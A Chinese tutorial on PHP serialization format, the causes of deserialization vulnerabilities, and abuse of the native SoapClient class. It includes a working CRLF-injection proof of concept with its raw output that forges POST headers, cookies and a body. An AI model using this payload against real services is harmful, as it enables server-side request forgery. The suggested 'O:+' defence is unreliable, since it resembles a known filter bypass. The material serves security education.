序列化和反序列化是一個程序中的常見過程,其中對象被序列化成字元串,僅保留對象中的成員變數而不包括函數方法。這種過程常用於對象的持久化存儲。
我們來看一個示例,由於\0
字元無法複製,所以我們將其替換為URL編碼後的%00
以便於觀察:
<?php
class class1
{
public $pbl = "pbl_v";
protected $prt = "prt_v";
private $prv = "prv_v";
public function func()
{
return "func_ret";
}
}
$o = new class1();
$s = serialize($o);
$s = str_replace("\0", '%00', $s);
echo $s;
序列化結果如下,可以看到其中僅包含屬性和值,而並不包含方法:
O:6:"class1":3:{s:3:"pbl";s:5:"pbl_v";s:6:"%00*%00prt";s:5:"prt_v";s:11:"%00class1%00prv";s:5:"prv_v";}
這個序列化後的對象結構的含義為:
O:對象名的長度:"對象名":對象屬性個數:{s:屬性名的長度:"屬性名";屬性類型:屬性值的長度:"屬性值";}
訪問控制修飾符序列化規則
根據不同的訪問控制修飾符,序列化後的屬性名會有所不同,具體規則如下:
public
(公有的):屬性名protected
(受保護的):%00*%00屬性名private
(私有的):%00類名%00屬性名
%00
表示\0
字元。
PHP序列化屬性類型
在PHP序列化中,不同的屬性類型有不同的標識:
a
- array 數組型b
- boolean 布爾型d
- double 浮點型i
- integer 整數型o
- common object 共同對象r
- object reference 對象引用s
- non-escaped binary string 非轉義的二進位字元串S
- escaped binary string 轉義的二進位字元串C
- custom object 自定義對象O
- class 對象N
- null 空R
- pointer reference 指針引用U
- unicode string Unicode 編碼的字元串
反序列化漏洞產生原理及其防護
反序列化漏洞產生的主要原因是反序列化過程中的參數用戶可控。當伺服器接收序列化後的字元串,並且未經過濾地將其中的變數放入一些魔術方法中執行,這就可能產生漏洞。
為了避免此類漏洞的產生,我們可以過濾/[oc]:\d+:/i
:
preg_match('/[oc]:\d+:/i', $a);
或者在數字前加+
號:
str_replace('O:', 'O:+', $a);
PHP原生類SoapClient的利用
PHP原生類SoapClient是一個用於與Web服務交互的類。它提供了一種輕鬆訪問Web服務的方法,可以在PHP中使用SOAP協議與遠程伺服器進行通信。
SoapClient的__call
方法
當嘗試調用未定義的Web服務方法時,__call
方法會自動被調用,並將方法名和參數傳遞給Web服務。
例如,執行以下代碼:
$client = new SoapClient(null, array('uri' => 'uri', 'location' => 'http://127.0.0.1:5555/', 'user_agent' => 'ua'));
$client->not_exists_function();
會產生以下的調用鏈:SoapClient->__call('not_exists_func...', Array)->SoapClient->__doRequest('<?xml version="...', 'http://127.0.0....', 'uri#not_exists_...', 1, 0)
。
利用SoapClient執行任意POST請求
在SoapClient中,SOAPAction
和User-Agent
可被控制,這就使得我們可以注入CRLF
來控制POST請求的header或者更改Content-Type
的值。例如,我們可以在下面的代碼中對UA
進行CRLF
注入:
<?php
$target = 'http://127.0.0.1:5555';
$post_string = 'name=value';
$headers = array(
'X-Forwarded-For: 127.0.0.1, 127.0.0.1',
'Cookie: name=value'
);
$client = new SoapClient(null, array(
'uri' => 'uri',
'location' => 'http://127.0.0.1:5555/',
'user_agent' => 'p0ise'."\r\n".
'Content-Type: application/x-www-form-urlencoded'."\r\n".
join("\r\n", $headers) . "\r\n".
'Content-Length: ' . (string)strlen($post_string) . "\r\n\r\n" .
$post_string
)
);
$client->not_exists_function();
此代碼會產生以下的報文:
POST / HTTP/1.1
Host: 127.0.0.1:5555
Connection: Keep-Alive
User-Agent: p0ise
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1, 127.0.0.1
Cookie: name=value
Content-Length: 13
name=value
Content-Type: text/xml; charset=utf-8
SOAPAction: "uri#not_exists_function"
Content-Length: 382
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="uri" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:not_exists_function/></SOAP-ENV:Body></SOAP-ENV:Envelope>
總結
通過以上解釋,我們可以看出,理解PHP序列化和反序列化的原理及其相關漏洞的產生和防護是非常重要的,因為它涉及到數據的持久化存儲和安全性。同時,也說明了如何利用PHP原生類SoapClient進行交互,並可能產生的安全風險。在編寫代碼時,我們需要特別注意對這些可能產生的漏洞進行預防,以確保數據的安全。
LinuxStory 原創教程,轉載請註明出處,否則必究相關責任。